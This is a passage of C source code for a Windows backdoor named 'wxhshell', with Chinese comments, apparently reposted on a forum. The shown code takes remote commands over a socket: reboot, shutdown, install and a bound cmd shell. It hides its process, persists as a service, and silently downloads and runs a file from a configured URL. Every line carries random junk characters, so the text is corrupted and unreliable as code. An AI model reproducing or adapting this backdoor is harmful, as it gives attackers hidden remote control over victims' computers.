tJF~Xv2L!  
    switch(cmd[0]) { GBOmVQ $Hb  
  G?1V~6  
  // 帮助 ``)1`wx$  
  case '?': { yt#;3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sTstc+w  
    break; 6rCP]YnF  
  } 7Mg7B  
  // 安装 KGLhl;a  
  case 'i': { GyM%vGl 3  
    if(Install()) v.&*z48  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }eRG$)'  
    else kvVz-P Jy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r Q@o  
    break; cb&In<q  
    } 6f9<&dCK  
  // 卸载 Y52xrIvl\  
  case 'r': { ymVd94L  
    if(Uninstall()) 4bjp*1*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); csA.3|rv  
    else tnbs]6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +dpj?  
    break; ^dKaa  
    } 6e-h;ylS  
  // 显示 wxhshell 所在路径 |}.B!vg(4  
  case 'p': { i1\ /\^  
    char svExeFile[MAX_PATH]; bc}OmPE  
    strcpy(svExeFile,"\n\r"); SJ_cwYwI$  
      strcat(svExeFile,ExeFile); t>u9NZt G  
        send(wsh,svExeFile,strlen(svExeFile),0); ~vZzKRVS  
    break; u,9U0ua@;  
    } &fhurzzAm  
  // 重启 hg/&[/eodm  
  case 'b': { e>9{36~jh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !td.ks0  
    if(Boot(REBOOT)) _ll aH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RKb3=} *C  
    else { :=7;P)  
    closesocket(wsh); eZkz 1j~  
    ExitThread(0); TUYl><F5v=  
    } Jl9TMu!1]  
    break; _rh.z_a7w  
    } BCB/cBE  
  // 关机 <a}|G1 h  
  case 'd': { zd]L9 _  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^G<M+RF2J  
    if(Boot(SHUTDOWN)) #{cpG2Rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yj9gN}+  
    else { uy\+#:44d  
    closesocket(wsh); : 2d9ZDyD  
    ExitThread(0); 5F?g6?j{  
    } U4pvQE.m<  
    break; < l ^ Z;.  
    } lq9h Dn[p  
  // 获取shell }H^^v[4  
  case 's': { y+x>{!pw  
    CmdShell(wsh); CrQ& -!Eh  
    closesocket(wsh); `g1~ya(MC  
    ExitThread(0); >~InO^R`5  
    break; f TtMmz  
  } p{PYUW"?^  
  // 退出 4 V*)0?oYE  
  case 'x': { n\DT0E]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -iX!F~qS,  
    CloseIt(wsh); 5-po>1g'  
    break; y_r6T XnGL  
    } X*) :N]  
  // 离开 }#^F'%zf  
  case 'q': { a-5$GvG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Db:WAjU  
    closesocket(wsh); CU&,Kq@  
    WSACleanup(); 9xp ;$14  
    exit(1); |?W   
    break; 8{ e 3  
        } ;S j* {  
  } ^/,yZ:  
  } mmK_xu~f28  
tTamFL6  
  // 提示信息 <a3XV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~`f B\7M  
} h:90K  
  } T ua @w+  
DZZt%n8J  
  return; 4 l(o{{  
} *r3vTgo$  
KgS xF#  
// shell模块句柄 vBXr[XoC  
int CmdShell(SOCKET sock) _s,svQ8#  
{ \OH:xW~  
STARTUPINFO si; [RuY'  
ZeroMemory(&si,sizeof(si)); $^>vJk<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /HD2F_XA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -lEh}r  
PROCESS_INFORMATION ProcessInfo; r"{1H  
char cmdline[]="cmd"; 5E=Odep`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z<*]h^ !3  
  return 0; 'M/&bu r  
} "TI? qoz  
tBQ> p.  
// 自身启动模式 {}e IpK,+  
int StartFromService(void) AG2jl/  
{ c5pG?jr+d  
typedef struct w:v:znQrW  
{ .ji%%f  
  DWORD ExitStatus; j=4>In?x  
  DWORD PebBaseAddress; ,Fiiw  
  DWORD AffinityMask; M?lr#} d  
  DWORD BasePriority; B\yid@e  
  ULONG UniqueProcessId; Yd'ke,Je  
  ULONG InheritedFromUniqueProcessId; TXv#/@  
}   PROCESS_BASIC_INFORMATION; !y.7"G*  
3\ed4D  
PROCNTQSIP NtQueryInformationProcess; &|eQLY #l  
2ra4t]f6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hI 0l2OE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [j39A`t7 o  
KG@hjO  
  HANDLE             hProcess; uI/ A_  
  PROCESS_BASIC_INFORMATION pbi; LLiX%XOh  
|n8^Xsx4w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gX<C-y6o  
  if(NULL == hInst ) return 0; C? S%fF  
*1Q?~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vo()J4L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /8T{bJ5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |1R @Jz`  
> { Q2S  
  if (!NtQueryInformationProcess) return 0; 3&f{lsLAC  
8pk">"#s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;p8xL)mUP  
  if(!hProcess) return 0; .rHO7c,P~  
x`&W[AA4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }$jIvb,3?  
`^ok5w"oi  
  CloseHandle(hProcess); aL}_j#m{  
v3Kqs:"\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pm+[,u!i  
if(hProcess==NULL) return 0; 3( kZfH~  
fmh]Y/UC  
HMODULE hMod; `'`XB0vb  
char procName[255]; \&fK8H1  
unsigned long cbNeeded; R}FN6cH  
X*@S j;|m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ; V8 =B8w  
t)h3GM  
  CloseHandle(hProcess); X@rAe37h+  
9L,T@#7  
if(strstr(procName,"services")) return 1; // 以服务启动 qM'5cxe  
i fUgj8i_  
  return 0; // 注册表启动 gC_U7aw  
} h.NA$E?7  
t [f]  
// 主模块 #"l=Lv  
int StartWxhshell(LPSTR lpCmdLine) KVBz=  
{ :s\s3#?  
  SOCKET wsl; $l=m?r=  
BOOL val=TRUE; CAfG3;  
  int port=0; :v`o="  
  struct sockaddr_in door; gueCP+a_  
8}2 `^<U  
  if(wscfg.ws_autoins) Install(); * -)aGL  
oID, PB*9  
port=atoi(lpCmdLine); &LE/hA  
~9=g"v  
if(port<=0) port=wscfg.ws_port; V.qB3 V$  
%y'#@%kO:S  
  WSADATA data; =x> KA*O1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MFrVGEQBRL  
L,$9)`j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4?`7XJ0a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X(~NpLR  
  door.sin_family = AF_INET; /KkUCq2A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y&nY]VV  
  door.sin_port = htons(port); Ktoxl+I?  
L fhd02  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %VgR *  
closesocket(wsl); _ . _'\  
return 1; e([}dz  
} Ad[-YT  
xpae0vw  
  if(listen(wsl,2) == INVALID_SOCKET) { "bqB@)  
closesocket(wsl); bTJ7RqL  
return 1; ;TYkJH"  
} ~~&M&Fe  
  Wxhshell(wsl); &0'BCT  
  WSACleanup(); 0=NB[eG  
PM{kiz^  
return 0; ?o2L  
C.eZcNJG  
} ,xGkE7=5  
FKPI{l  
// 以NT服务方式启动 9kcAMk1K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EyhQjs aT  
{ -70Ut 4B  
DWORD   status = 0; .M04n\  
  DWORD   specificError = 0xfffffff; >Tw|SK+3  
|X>:"?4t  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  5bk5EE`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x@yF|8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zi^&x6y^  
  serviceStatus.dwWin32ExitCode     = 0; gqE{  
  serviceStatus.dwServiceSpecificExitCode = 0; @l 1 piz8  
  serviceStatus.dwCheckPoint       = 0; K:mb$YJ&  
  serviceStatus.dwWaitHint       = 0; g94NU X  
"~tEmMz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); % %*t{0!H+  
  if (hServiceStatusHandle==0) return; l&zd7BM9(  
a4?:suX$  
status = GetLastError(); P:=3;d{v  
  if (status!=NO_ERROR) ,{$:Q}`  
{ 7P=j2;7 v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qvCl mZ  
    serviceStatus.dwCheckPoint       = 0; s {!F@^a  
    serviceStatus.dwWaitHint       = 0; RDZl@ps8  
    serviceStatus.dwWin32ExitCode     = status; koFY7;_<?  
    serviceStatus.dwServiceSpecificExitCode = specificError; )tB mSVprl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R4{2+q=0  
    return; )]'?yS"  
  } E1=]m  
Lf3:' n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cJ&%XN  
  serviceStatus.dwCheckPoint       = 0; o@ }Jd0D4  
  serviceStatus.dwWaitHint       = 0; .hU ndg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2s~ X  
} ? r^+-  
0e&Vvl4DK  
// 处理NT服务事件,比如:启动、停止 |dXmg13( -  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S~hNSw (-  
{ -[Q%Vv!8  
switch(fdwControl) &q>=6sQvf  
{ 3eD#[jkAI;  
case SERVICE_CONTROL_STOP: rk `x81  
  serviceStatus.dwWin32ExitCode = 0; +h"RXwlBM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |d K_^~;o  
  serviceStatus.dwCheckPoint   = 0; UW!!!  
  serviceStatus.dwWaitHint     = 0; lf&g *%?1  
  { ]h,XRDK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +v/_R{ M  
  } 9 u{#S}c`  
  return; U]O7RH  
case SERVICE_CONTROL_PAUSE: r/SV.` k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :`25@<*u  
  break; -W2 !_  
case SERVICE_CONTROL_CONTINUE: L]cZPfI6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a8''t_Dp  
  break; vk&C'&uV9@  
case SERVICE_CONTROL_INTERROGATE: IZ "d s=w  
  break; vn7<>k> dx  
}; >O?5mfMK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ex1bjM7  
} |\J8:b> }  
w`q):yXX  
// 标准应用程序主函数 wjDLsf,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f3h^R20qmO  
{ 5#~u U  
vzG(u_,9[  
// 获取操作系统版本 ^<Q+=\h  
OsIsNt=GetOsVer(); 4gzrxV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j'g':U  
> -OQk"o  
  // 从命令行安装 #}3$n/  
  if(strpbrk(lpCmdLine,"iI")) Install(); WbB0{s  
+Ccj @#M;  
  // 下载执行文件 6"b =aPTi  
if(wscfg.ws_downexe) { @Pb!:HeJE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U:"E:Bxz;m  
  WinExec(wscfg.ws_filenam,SW_HIDE); 30bScW<08  
} :A.dlesv6  
/Ii a>XY  
if(!OsIsNt) { 4vQ]7`I.f  
// 如果时win9x,隐藏进程并且设置为注册表启动 sz9C':`W  
HideProc(); Z7lv |m&  
StartWxhshell(lpCmdLine); T_i]y4dg  
} fo@ 2@  
else 0 fX  
  if(StartFromService()) Yjx*hv&?  
  // 以服务方式启动 g)nsP  
  StartServiceCtrlDispatcher(DispatchTable); FMh SHa/B  
else RX3P %xZ  
  // 普通方式启动 : A9G>qg  
  StartWxhshell(lpCmdLine); gP:mZ7  
kdcr*7w  
return 0; ]lV\D8#  
}
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只看该作者 1 发表于: 2006-10-10
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